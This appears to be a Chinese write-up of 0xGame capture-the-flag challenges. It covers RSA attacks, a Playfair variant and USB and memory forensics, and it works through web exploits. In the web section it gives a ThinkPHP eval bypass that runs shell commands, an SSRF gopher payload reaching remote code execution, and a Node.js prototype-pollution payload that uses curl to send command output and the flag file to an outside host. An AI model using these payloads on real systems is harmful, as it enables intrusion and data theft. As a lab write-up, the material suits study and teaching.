s.add(x[0] * 766382107 + x[1] * 1796925795 + x[2] * 2252539335 + x[3] * 349697888 + x[4] * 2128341206 + x[5] * 237551020 + x[6] * 3435605863 + x[7] * 3509292666 + x[8] * 2464261299 + x[9] * 3708905227 + x[10] * 306252195 + x[11] * 1348134057 + x[12] * 872885862 + x[13] * 3230301891 + x[14] * 4223976431 + x[15] * 2129576385 + x[16] * 184274380 + x[17] * 1339568775 + x[18] * 240471204 + x[19] * 4208060501 + x[20] * 3866337301 + x[21] * 1736393059 + x[22] * 4084431732 + x[23] * 3779198617 + x[24] * 3474528562 + x[25] * 3227302577 + x[26] * 1764448184 + x[27] * 1745641228 + x[28] * 3436861592 + x[29] * 3395770976 + x[30] * 3381022139 + x[31] * 297539769 == 159926095018550107875)
s.add(x[0] * 2905996883 + x[1] * 3368852349 + x[2] * 2813356621 + x[3] * 482055211 + x[4] * 1197172847 + x[5] * 731391015 + x[6] * 2945886565 + x[7] * 3467015148 + x[8] * 537949256 + x[9] * 2535535996 + x[10] * 1176357138 + x[11] * 3396182730 + x[12] * 2858025536 + x[13] * 3563590525 + x[14] * 4141138247 + x[15] * 3391692063 + x[16] * 2595437915 + x[17] * 234965395 + x[18] * 1117742031 + x[19] * 3427440116 + x[20] * 3558609028 + x[21] * 112305692 + x[22] * 238895413 + x[23] * 2820696874 + x[24] * 1930124190 + x[25] * 2904137135 + x[26] * 3600773562 + x[27] * 54663135 + x[28] * 968260380 + x[29] * 2500702039 + x[30] * 3005295995 + x[31] * 4136599497 == 147261348508848582047)
s.add(x[0] * 3421877383 + x[1] * 444332646 + x[2] * 3066582397 + x[3] * 410262930 + x[4] * 2799546449 + x[5] * 2190731430 + x[6] * 3607309350 + x[7] * 2329930437 + x[8] * 2678982918 + x[9] * 2797446341 + x[10] * 3884979666 + x[11] * 757321735 + x[12] * 272692453 + x[13] * 1039573000 + x[14] * 1106227562 + x[15] * 1967995121 + x[16] * 3818641657 + x[17] * 2958463100 + x[18] * 693634090 + x[19] * 4116131146 + x[20] * 3604001650 + x[21] * 1238373233 + x[22] * 3200266845 + x[23] * 3957996712 + x[24] * 3653451723 + x[25] * 2961370342 + x[26] * 3043337802 + x[27] * 1398445668 + x[28] * 3133330721 + x[29] * 679074840 + x[30] * 3563156569 + x[31] * 176796959 == 167538035640995956562)
s.add(x[0] * 3407463393 + x[1] * 2954388381 + x[2] * 3398321376 + x[3] * 703750584 + x[4] * 719140271 + x[5] * 4255500079 + x[6] * 683637205 + x[7] * 3659297114 + x[8] * 618688496 + x[9] * 2469121759 + x[10] * 3644135823 + x[11] * 1311631006 + x[12] * 3732181084 + x[13] * 2946211492 + x[14] * 3723132383 + x[15] * 1325756630 + x[16] * 568937023 + x[17] * 3359219977 + x[18] * 2395244206 + x[19] * 4246808660 + x[20] * 2956191019 + x[21] * 494313100 + x[22] * 3493565032 + x[23] * 2125356358 + x[24] * 293383341 + x[25] * 2881003778 + x[26] * 1563660838 + x[27] * 2562578871 + x[28] * 4144554067 + x[29] * 22718298 + x[30] * 2390441161 + x[31] * 3851902251 == 149364132975709163594)
s.add(x[0] * 3700867328 + x[1] * 162482258 + x[2] * 172681360 + x[3] * 673608768 + x[4] * 3896952374 + x[5] * 1606330254 + x[6] * 2557779118 + x[7] * 2839188805 + x[8] * 789655247 + x[9] * 3424210560 + x[10] * 100545829 + x[11] * 3936538736 + x[12] * 1653944730 + x[13] * 2102833767 + x[14] * 3306727712 + x[15] * 599821842 + x[16] * 2700883336 + x[17] * 2593372272 + x[18] * 4217672760 + x[19] * 1547041783 + x[20] * 3434126938 + x[21] * 356726724 + x[22] * 3095721683 + x[23] * 2932731911 + x[24] * 4136374907 + x[25] * 730165508 + x[26] * 3627218359 + x[27] * 2518974159 + x[28] * 3248668960 + x[29] * 1495203249 + x[30] * 2284224748 + x[31] * 1790575076 == 139010541840838007430)

s.check()
print(s.model())
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from hashlib import md5

x = [0] * 32

x[6] = 4217977576
x[3] = 763601920
x[31] = 75034618
x[4] = 1653708118
x[5] = 2433063826
x[12] = 2984323532
x[13] = 2502694787
x[23] = 3977926013
x[10] = 4089088412
x[15] = 1806361262
x[0] = 89155365
x[16] = 4041026542
x[14] = 417461604
x[17] = 1690492554
x[22] = 1908777079
x[24] = 2553491708
x[21] = 2258589262
x[25] = 2361686047
x[18] = 1842407621
x[1] = 3795653268
x[11] = 974751512
x[27] = 3782713824
x[19] = 3241492534
x[29] = 4130286729
x[9] = 1970630923
x[30] = 12709818
x[28] = 42128790
x[8] = 3519663525
x[2] = 783620457
x[7] = 1709775682
x[20] = 2467028824
x[26] = 483149607

s = 0

for i in x:
    s += i

print('0xGame{' + md5(str(s).encode()).hexdigest() + '}')

flag 0xGame{d23caedc66301966094bf8968610f61f}

RSA大闯关

hint 是 共模攻击、模不互素、多素数相乘下φ(n)的计算、低指数小明文攻击

task.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from Crypto.Util.number import *
from secret import flag, hint

# part1
print('part1:')
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 5
c = pow(m, e, n)
print(f'n = {n}')

# part2
print('part2:')
m = c
while True:
    p = getPrime(256)
    q = 2 * p - 1
    if isPrime(q):
        break
r = getPrime(256)
n = (p ** 2) * (q ** 3) * r
q = 2 * p - 1
r = n // p // p // q // q // q
phi = p * (p - 1) * (q ** 2) * (q - 1) * (r - 1)
e = 0x10001
c = pow(m, e, n)
e = 0x10001
d = inverse(e, phi)
print(f'p = {p}')
print(f'n = {n}')

# part3
print('part3:')
m = c
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x10001
c = pow(m, e, n)
print(f'n1 = {n}')
m_hint = bytes_to_long(hint)
p = getPrime(1024)
n = p * q
e = 0x10001
c_hint = pow(m_hint, e, n)
print(f'n2 = {n}')
print(f"c_hint = {c_hint}")

# part4
print('part4:')
m = c
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e1 = 823
e2 = 827
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f'n = {n}')

output.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
part1:
n = 61553578635593130900790335104330199899957479107753805370559935381319176517030435621892644394851110367233510867782247563759513582241371585326815640128560441855543132415804452658372689998329770879189234308679763515840663749100256299294925802306716380006559943335403696300844219318648209424221864526219684170323
part2:
p = 74447194261899797806331260065953660447629801256490828189012933613329970709947
n = 2041966692549961348577589156815535814894383939477573453736803458531176718024423820279431442431002038195467272680340686126482697016165252765359529302961780051654184833220756878301874978169377654737275593641180065950107522278461981853325163973125649755001647509934635714847722574876087513598188126414206128734529793608240092700267723049259261257688980084854149645269724715087902044253045061617087644418347545737251946830621974361352738393315774363456001260686286821
part3:
n1 = 15366889088720206462365176683482533771475038765899922246304161568426870328374352417380396654231031838308606185501644949132930223566330052875527300069440013396537288642394243440572453780188595977438549563350553795220825285867086201710340271331833567314282717818053503639202601281184963886414311276063351370392514246631613915966530559511182811214902930142301497062642020127200767773575622874178491764524627735580808973946630814640241598316693375333001863979963200190532552021172069905740730777328461596141791691176984619646698097163144730290275304802207549132742312305772773347199117833216411732334271813533947587335221
n2 = 20183388181244396840270604971327234348871288822322010757845683437514931959842693524118522620332345907816190233979463740070942867621461314257682562161455669676863270809215109867553547955455891544244660598280541169460595995979836132666968548336872337169229971614320624540103986072146724866807104701652693664361940168493838397000924419632475639380887065784985415455805447197724730216369636562749194600089463165474701372926961338986138771964038560621556333104655430975405632113198088493779517573588399048423998920358946322913978731589449991564968387399262236393754348689348364331583617892656413994899504317963936066746711
c_hint = 12120021785410200674936083975068492622806596845579817711207411931311673622528683733295899555542821765486413339677732337051154734922381291549341456901391897097071173557362462670207940577864049130086490199471016266752247947028119300006197925597902468232113412106835719324155978933609953160168249853647848792919491609758205614794158719549005912914647125869214028842543301994189007931419280489270222524804427348611393246242401221829752270244371023220680417679183759839375701147795748353616923267194525565792165688787118410950596647945293284284065635467684624433860537889580808687549562010274639326086182100555438472928477
part4:
c1 = 9078361566243923931453433235655548442655855925297849762834170634279782440176386162361175845447411925452440536363885489221360776073555926463975255326905638922390565414284680629357799512527773691276009031423377599372917213698291316223269863185821983356471150336545331992444135470581201015592546934895803603233714496806375582266021488376740973566067971171377376696739676668351989078245768566579430312381789763928896787230892629854943142188671250203690237420561985562568939519395990646242000804771019311031994084798126248041633375710435071152701495690196067180826646094418362227966248990190779434700525127330999576205403
c2 = 12177776162003265214893575222194987257070438203909939490896524118455743796605830818003435519762848552272241059418403518390909966083445568223047769437125388741650260643855866243844976422365885347004481452172768271389384606695863524445386834984939563686335088776216144173923094121825197018225369010379704707231069719085315847868962939479004164733530937883272062497573804335640040429427002585027258509179962910923328842082991111693056946212131251751202352180633674002081181776189622240094621381950470130292188270896292285264623566756488080661579679026084947009907677214940302660119264003701359714404829438298116109098858
n = 14030240067066681750909588505308848034761783265133340312144652793728120334984848299676691973630997860228334585084780567142583267241508872459495746147465287012511207543757701482011894061407632686585952604039659614267570771869230862091904009290811411173144016039144680108997615936869263338253711107240318817354345905789041695601640084081957736966556648022765868913061143917752122990399785349647514452618248194426911284810212654925532788132854712772334295140032083665199391450057318155421959795859937645872080008934829472830347990643737088885491045934515364200316439381396296113975664305689878031662485528015544354270191

这题要从下往上解, 从 part4 解到 part1, 因为在 task.py 中从上到下进行加密时, 上一步的 c 是下一步的 m

参考文章 https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_module_attack/#_7

参考工具 https://github.com/kur0mi/CTF-RSA

part4 是共模攻击

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# coding=utf-8

"""
选择相同的模 n 加密相同的信息 m

"""
import sys
sys.setrecursionlimit(10000000)

helpstr = '''
usage:
    c1 = m ^ e1 % n
    c2 = m ^ e2 % n
'''


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)


def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


def main():
    print(helpstr)
    n = 14030240067066681750909588505308848034761783265133340312144652793728120334984848299676691973630997860228334585084780567142583267241508872459495746147465287012511207543757701482011894061407632686585952604039659614267570771869230862091904009290811411173144016039144680108997615936869263338253711107240318817354345905789041695601640084081957736966556648022765868913061143917752122990399785349647514452618248194426911284810212654925532788132854712772334295140032083665199391450057318155421959795859937645872080008934829472830347990643737088885491045934515364200316439381396296113975664305689878031662485528015544354270191
    c1 = 9078361566243923931453433235655548442655855925297849762834170634279782440176386162361175845447411925452440536363885489221360776073555926463975255326905638922390565414284680629357799512527773691276009031423377599372917213698291316223269863185821983356471150336545331992444135470581201015592546934895803603233714496806375582266021488376740973566067971171377376696739676668351989078245768566579430312381789763928896787230892629854943142188671250203690237420561985562568939519395990646242000804771019311031994084798126248041633375710435071152701495690196067180826646094418362227966248990190779434700525127330999576205403
    c2 = 12177776162003265214893575222194987257070438203909939490896524118455743796605830818003435519762848552272241059418403518390909966083445568223047769437125388741650260643855866243844976422365885347004481452172768271389384606695863524445386834984939563686335088776216144173923094121825197018225369010379704707231069719085315847868962939479004164733530937883272062497573804335640040429427002585027258509179962910923328842082991111693056946212131251751202352180633674002081181776189622240094621381950470130292188270896292285264623566756488080661579679026084947009907677214940302660119264003701359714404829438298116109098858
    e1 = 823
    e2 = 827
    s = egcd(e1, e2)
    s1 = s[1]
    s2 = s[2]
    # 求模反元素
    if s1 < 0:
        s1 = - s1
        c1 = modinv(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = modinv(c2, n)
    m = (c1**s1)*(c2**s2) % n
    print(m)


if __name__ == '__main__':
    main()

结果如下

1
2938057459236097702829546874845663383452853869020057762679135487968176657293042835573779697101215428407852116936214740983538867551483705519758957972331191729735724117396417478453978310150732874394242281120629941710539689365919070809625065025418669949759214559104657797336705529467079967490430927511525012725230658782223330267367700390800367562121238814129807692926027338504190736908314844881686550159791607521100449567876718252870874691541674241485712904989800106781755968066449559195162333313852848742763909493142048384900365903132589437833241859719857935259557039915750511530121023151477267605022419723385193140551

part3 是模不互素, 即可以通过 n1 n2 的公约数来求 p q, 从而解出明文

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#coding: utf-8

def gcd(a, b):
    if a < b:
        a, b = b, a
    while b != 0:
        temp = a % b
        a = b
        b = temp
    return a


n1 = 15366889088720206462365176683482533771475038765899922246304161568426870328374352417380396654231031838308606185501644949132930223566330052875527300069440013396537288642394243440572453780188595977438549563350553795220825285867086201710340271331833567314282717818053503639202601281184963886414311276063351370392514246631613915966530559511182811214902930142301497062642020127200767773575622874178491764524627735580808973946630814640241598316693375333001863979963200190532552021172069905740730777328461596141791691176984619646698097163144730290275304802207549132742312305772773347199117833216411732334271813533947587335221
n2 = 20183388181244396840270604971327234348871288822322010757845683437514931959842693524118522620332345907816190233979463740070942867621461314257682562161455669676863270809215109867553547955455891544244660598280541169460595995979836132666968548336872337169229971614320624540103986072146724866807104701652693664361940168493838397000924419632475639380887065784985415455805447197724730216369636562749194600089463165474701372926961338986138771964038560621556333104655430975405632113198088493779517573588399048423998920358946322913978731589449991564968387399262236393754348689348364331583617892656413994899504317963936066746711

print "p = "+str(gcd(n1, n2))
print "q1 = "+str(n1/gcd(n1, n2))
print "q2 = "+str(n2/gcd(n1, n2))

结果如下

1
2
3
p = 137800596550469037013606018504223473745051767225401702560930758049699573992305687984974339263357720726086411204856545768879128765766141513864882520890813475534702701526251353021309563858440190827873850296217190508414602020843815367072219297768465570833226200494248404565358092977991937990352450476042826798001
q1 = 111515403223179309310953093185435361430027224729392135618835085412425670614087933945534087858296169153466489104620333039033117439491598955447462925183151562881300096457102371167781867501616732093416328252830004058743079580183656766537812353344443151022879598112279812993993332634648407986790314118737218977221
q2 = 146468075512665100226255324763389711324957670919273661172898343147813506347944395043280812181287998146676721148470260517162704586205619522210911904562191269387994664151046806341624690610731630210375559681689870601341951647417191153130350302267884955405418135191218595029132045340173524769600202469122549368711

然后写个脚本求 d, 进而解出 m

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import gmpy2

p = 137800596550469037013606018504223473745051767225401702560930758049699573992305687984974339263357720726086411204856545768879128765766141513864882520890813475534702701526251353021309563858440190827873850296217190508414602020843815367072219297768465570833226200494248404565358092977991937990352450476042826798001

q1 = 111515403223179309310953093185435361430027224729392135618835085412425670614087933945534087858296169153466489104620333039033117439491598955447462925183151562881300096457102371167781867501616732093416328252830004058743079580183656766537812353344443151022879598112279812993993332634648407986790314118737218977221
q2 = 146468075512665100226255324763389711324957670919273661172898343147813506347944395043280812181287998146676721148470260517162704586205619522210911904562191269387994664151046806341624690610731630210375559681689870601341951647417191153130350302267884955405418135191218595029132045340173524769600202469122549368711

n1 = 15366889088720206462365176683482533771475038765899922246304161568426870328374352417380396654231031838308606185501644949132930223566330052875527300069440013396537288642394243440572453780188595977438549563350553795220825285867086201710340271331833567314282717818053503639202601281184963886414311276063351370392514246631613915966530559511182811214902930142301497062642020127200767773575622874178491764524627735580808973946630814640241598316693375333001863979963200190532552021172069905740730777328461596141791691176984619646698097163144730290275304802207549132742312305772773347199117833216411732334271813533947587335221
n2 = 20183388181244396840270604971327234348871288822322010757845683437514931959842693524118522620332345907816190233979463740070942867621461314257682562161455669676863270809215109867553547955455891544244660598280541169460595995979836132666968548336872337169229971614320624540103986072146724866807104701652693664361940168493838397000924419632475639380887065784985415455805447197724730216369636562749194600089463165474701372926961338986138771964038560621556333104655430975405632113198088493779517573588399048423998920358946322913978731589449991564968387399262236393754348689348364331583617892656413994899504317963936066746711

e = 0x10001
c = 2938057459236097702829546874845663383452853869020057762679135487968176657293042835573779697101215428407852116936214740983538867551483705519758957972331191729735724117396417478453978310150732874394242281120629941710539689365919070809625065025418669949759214559104657797336705529467079967490430927511525012725230658782223330267367700390800367562121238814129807692926027338504190736908314844881686550159791607521100449567876718252870874691541674241485712904989800106781755968066449559195162333313852848742763909493142048384900365903132589437833241859719857935259557039915750511530121023151477267605022419723385193140551
phi_n1 = (p - 1) * (q1 - 1)

d1 = gmpy2.invert(e, int(phi_n1))
m = pow(c, int(d1), n1)

print(m)

求出来 m 如下

1
1311435642608916353954349439785040760286548434252667862462138388336691600546189699131679844043377277549947660668581894804663872010481955625222373602770261499938389662614091519376869432000619395672926110710397184783122722734006970318599542313571993948142355190472512713883398393968755827721462594359703041594475889273778713862593171011826151407969009361496169330793403602291363610687734085420517139167805583532396010753886519450642591699326353471457244082561693140

part2 根据 hint 猜测是 多素数相乘下φ(n)的计算

output.txt 中给出的信息已经足够多了, 直接就可以算出来 q r phi

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import gmpy2

p = 74447194261899797806331260065953660447629801256490828189012933613329970709947
n = 2041966692549961348577589156815535814894383939477573453736803458531176718024423820279431442431002038195467272680340686126482697016165252765359529302961780051654184833220756878301874978169377654737275593641180065950107522278461981853325163973125649755001647509934635714847722574876087513598188126414206128734529793608240092700267723049259261257688980084854149645269724715087902044253045061617087644418347545737251946830621974361352738393315774363456001260686286821
c = 1311435642608916353954349439785040760286548434252667862462138388336691600546189699131679844043377277549947660668581894804663872010481955625222373602770261499938389662614091519376869432000619395672926110710397184783122722734006970318599542313571993948142355190472512713883398393968755827721462594359703041594475889273778713862593171011826151407969009361496169330793403602291363610687734085420517139167805583532396010753886519450642591699326353471457244082561693140
q = 2 * p - 1
r = n // p // p // q // q // q
phi = p * (p - 1) * (q ** 2) * (q - 1) * (r - 1)
e = 0x10001

d = gmpy2.invert(e, phi)
m = pow(c, int(d), n)

print(m)

结果如下

1
35046020801990880995657841882194609599113633798737390028556249579436282005901126921492978081577212664055354428541565076901934287291981412624875959822341871222459470096146427507651183556921621614698674484335036188050856067974604549356491993994884068994826677682022314348605604678569320276995407007162297780643

part1 就是小指数明文攻击, 因为 e=5

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = 'ByStudent'
from gmpy2 import iroot

n = 61553578635593130900790335104330199899957479107753805370559935381319176517030435621892644394851110367233510867782247563759513582241371585326815640128560441855543132415804452658372689998329770879189234308679763515840663749100256299294925802306716380006559943335403696300844219318648209424221864526219684170323
e = 5
c = 35046020801990880995657841882194609599113633798737390028556249579436282005901126921492978081577212664055354428541565076901934287291981412624875959822341871222459470096146427507651183556921621614698674484335036188050856067974604549356491993994884068994826677682022314348605604678569320276995407007162297780643

i = 0
while 1:
    res = iroot(c+i*n, e)
    if res[1]:
        print(res)
        break
    print("[-] i = " + str(i))
    i = i+1

求出来 m 如下

1
77888028579296633178521454553482348398571313408605656372703101

最后再 long_to_bytes, 得出的 flag 为 0xGame{rsa-----just_so_so}

=Bézout=

自己写的脚本跑的时间挺长的, 有点尴尬…

找了个 go 版本的工具

https://github.com/hydewww/sha256-go

输入正确之后会让你求 s t, 直接用 z3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from z3 import *

solver = Solver()

a = 8048
b = 17583
c = 1

s = Int('s')
t = Int('t')

solver.add(a * s + b * t == c)
print(solver.check())
print(solver.model())

没用到 pwntools, 不过手速快点问题也不大 (被打)

公平竞争

参考文章 https://ctf-wiki.org/crypto/classical/polyalphabetic/#playfair

playfair 加密, 密码表从 5x5 改成了 6x6, 但是思路是差不多的

基本原理如下

  1. 选取一串英文字母,除去重复出现的字母,将剩下的字母逐个逐个加入 5 × 5 的矩阵内,剩下的空间由未加入的英文字母依 a-z 的顺序加入。注意,将 q 去除,或将 i 和 j 视作同一字。
  2. 将要加密的明文分成两个一组。若组内的字母相同,将 X(或 Q)加到该组的第一个字母后,重新分组。若剩下一个字,也加入 X 。
  3. 在每组中,找出两个字母在矩阵中的地方。
    • 若两个字母不同行也不同列,在矩阵中找出另外两个字母(第一个字母对应行优先),使这四个字母成为一个长方形的四个角。
    • 若两个字母同行,取这两个字母右方的字母(若字母在最右方则取最左方的字母)。
    • 若两个字母同列,取这两个字母下方的字母(若字母在最下方则取最上方的字母)。

按照上面的倒推即可

先拆分成两两一组

1
3u Mg kg gk ly js 47 xg 0m x3

然后根据规则, 对应密码表找出整理后的明文

1
0x Ga me em mx mp1a yf 4i rx

之后去掉 x, 连在一起

1
0xGame emmmp1ayf4ir

最后加上大括号就是 flag

1
0xGame{emmmp1ayf4ir}

Week 3

Web

think_about_php

thinkphp v6.0.13

存在 www.zip, 下载解压

/app/controller/Page.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
namespace app\controller;

use app\BaseController;

class Page extends BaseController
{
    public function hello()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> hello my friend!:)' .  '<br/><span style="font-size:30px;"><del>不记得几载了</del>初心不改 - 你值得信赖的新手入门比赛</span></p><span style="font-size:25px;">[ 由 <a href="https://0xgame.h4ck.fun/home" target="yisu">0xGame</a> 独家赞助发布 ]</span></div><think id="ee9b1aa918103c4fc"></think>';
    }


    public function evil()
    {   
        
        if(isset($_GET['f'])){
            $f=$_GET['f'];
            if(preg_match('/\(|\)/',$f)){
                return self::hello();
            }
            eval($f);
       }else return self::hello();
    }
        
}

代码执行, 过滤了括号, 可以换成反引号来执行命令

注意一下 thinkphp 的 url 格式

1
http://47.96.3.142:8849/public/index.php/Page/evil?f=echo `cat /flag`;

ssrf_me

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php 
error_reporting(1);
highlight_file(__FILE__);
$url=$_GET['url'];
if(preg_match('/127|dict|file|ftp|localhost|0.0.0.0/',$url)){
  die('想都别想');
}//evil.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
echo $output;

Linux 环境下可以用 0 绕过

evil.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
error_reporting(1);
if('127.0.0.1'!=$_SERVER['REMOTE_ADDR']){
    die('Allow local only');
}
if('GET' === $_SERVER['REQUEST_METHOD']){
  highlight_file(__FILE__);
  die('Invalid request mode');
}
if(isset($_POST['c'])){
    $c=$_POST['c'];
    if(preg_match('/[^\W_]+\((?R)?\)/',$c)){
      eval($c);
    }
    else die('nonono');
}

不能用 get 访问, 那么换成 post, 这里很明显考察的是利用 gopher 协议进行 ssrf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import re
import urllib.parse

payload = 'c=phpinfo();'
data = f'''POST /evil.php HTTP/1.1
Host: 0:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(payload)}

{payload}
'''
data = urllib.parse.quote(data)
strinfo = re.compile('%0A',re.I)
new = strinfo.sub('%0D%0A', data)
new = 'gopher://0:80/_' + new + '%0D%0A'
new = urllib.parse.quote(new)
print(new)

记得加上 Connection: close, 不然会一直卡住

然后就是无参数 rce

1
c=eval(end(current(get_defined_vars())));

get 传递 d=system('whoami');

查看 flag

1
gopher%3A//0%3A80/_POST%2520/evil.php%253Fd%253Dsystem%2528%2527cat%2520/flag%2527%2529%253B%2520HTTP/1.1%250D%250AHost%253A%25200%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252041%250D%250A%250D%250Ac%253Deval%2528end%2528current%2528get_defined_vars%2528%2529%2529%2529%2529%253B%250D%250A%250D%250A

fake_session

看名字猜出来是 flask session 伪造

输入 {{config}} 得到 secretkey

cookie decode 之后的结构如下

1
{"id":"flag in /admin","user":"nobody"}

user 改成 admin, id 改成 0

最后访问 /admin

dont_pollute_me

app.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
var express = require('express');
const { exec } = require('child_process');


var app = express();
app.use(express.json()); 
app.use(express.urlencoded({ extended:true })); 
var user = {};
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return true;
}

app.get('/time', (req, res) => { 

        let time = {
            "cmd1": "uptime",
        };
        for (let cmd in time) {
            exec(time[cmd], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
	        });
        }
        res.send('time is a bi*ch')
})

app.post('/gotit', (req, res) => {
	var client = req.body;
    if(JSON.stringify(client)!=='{}'){
        console.log(client);
        for(key in Object.keys(user.__proto__)){
            delete user.__proto__[key];
        }
        try{
            merge(user,client)
        } catch(error) {
            res.send('error');
            return;
        }

        res.send('got it bro');
    }
    else{
        res.send('WTH is that?');
    }
})

app.get('/', (req, res) => {
    res.send('whats up bro');
})

app.get('/source', (req, res) => {
    res.download('app.js');
})

app.use(function(req, res, next) {
  res.status(404).send('404 not found');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Error');
});


const port = 3000;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

nodejs 原型链污染

参考文章 https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

/gotit 路由里面有 var client = req.body;, 其实也就是通过 json 解析, 然后会将 client 中的键值对 merge 给 user

/time 路由将会执行 time 对象中的每一条命令

那么我们只需要通过 user.__proto__ 污染 Object, 这样遍历 time 对象的时候, 就会执行我们自定义的命令

因为没有回显, 所以这里用 curl 外带执行结果

payload 如下

1
2
3
{
	"__proto__": {"cmd2": "curl http://x.x.x.x:65222/ -X POST -d \"`whoami`\""}
}

查找 flag 路径

1
find / -name flag

最后查看 flag

1
2
3
{
	"__proto__": {"cmd2": "curl http://x.x.x.x:65222/ -X POST -d \"`cat /usr/local/share/doc/node/flag`\""}
}

Misc

BabyUSB

1.pcapng 抓取的是 usb 流量

参考文章 https://ctf-wiki.org/misc/traffic/protocols/usb/

参考工具 https://github.com/WangYihang/UsbKeyboardDataHacker

1
Part of the password is P@33w0rD_1

2.pcapng 直接打开找 http 协议即可

1
s_Here

综上, 压缩包密码如下

1
P@33w0rD_1s_Here

螺旋升天

password.txt

1
2
3
4
pass
a@Yw
:*7o
sidr

根据题目搜到这几篇文章

https://www.cnblogs.com/zysgmzb/p/16334446.html

https://www.w3cjava.com/technical-articles/ctf/125035408.html#babydisk_224

提示是螺旋矩阵, 于是把 txt 里的内容顺时针转一下

1
passwordis:a@Y7*

hint 为 这个密码好怪,或许压缩包也一样?, 猜测压缩包也是用同样的方式螺旋读取

flag.zip 长度为 289 字节, 在 factordb 里分解一下

17 * 17, 刚好能凑成一个矩阵

先简单按每行 17 个 hex 提取压缩包内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
50 4b 03 04 14 00 09 00 63 00 06 3f fa 54 f6 2d 14
a2 dd 14 09 87 ed 35 75 37 b7 e8 e4 f8 78 c8 0e 28
a9 3b f7 5c ff 50 4b 07 08 f6 2d 14 28 4a 00 e2 4a
0c 54 08 00 2f 00 00 00 00 00 00 00 20 00 00 09 00
4f 3e 00 5b 1e 82 a0 d8 01 2f c2 3c 65 00 00 39 00
d8 d4 00 8b 00 50 4b 05 06 00 00 00 82 00 2c 6f 00
49 0b 00 f1 08 00 00 00 00 00 00 00 a0 00 00 7e 2c
99 fe 2c 00 03 00 00 00 00 00 00 01 d8 00 00 25 00
bb a5 00 18 45 00 00 00 00 00 00 00 01 00 00 37 00
ed 9f 00 00 41 00 00 00 00 00 00 01 8c 00 50 64 00
5e 77 00 01 00 00 00 00 00 00 00 00 74 66 4b b2 08
18 22 4a 00 01 00 00 8b 00 00 00 65 3c 6c 01 40 00
01 1d 28 00 00 07 99 01 01 d8 a0 82 65 61 02 11 0b
3f 21 14 00 00 00 20 00 0a 74 78 74 2e 67 1f c8 00
10 2a 2d f6 54 fa 3f 06 00 63 00 09 00 14 00 1a 66
49 5d 97 70 40 2f 77 5a 28 fe c0 de 48 fa 44 31 6c
00 08 03 45 41 00 01 00 07 99 01 74 78 74 2e 67 61

然后在 hex editor 里手敲一遍

最后输入密码解压缩, 打开 flag.txt

证取单简

参考文章 https://www.cnblogs.com/zysgmzb/p/15905869.html

imageinfo

选择 Win7SP1x64, 然后 pslist 看一下进程

发现有 cmd.exe 和 notepad.exe

因为是 win7 用不了 notepad, 所以换成了 editbox

可疑文本

1
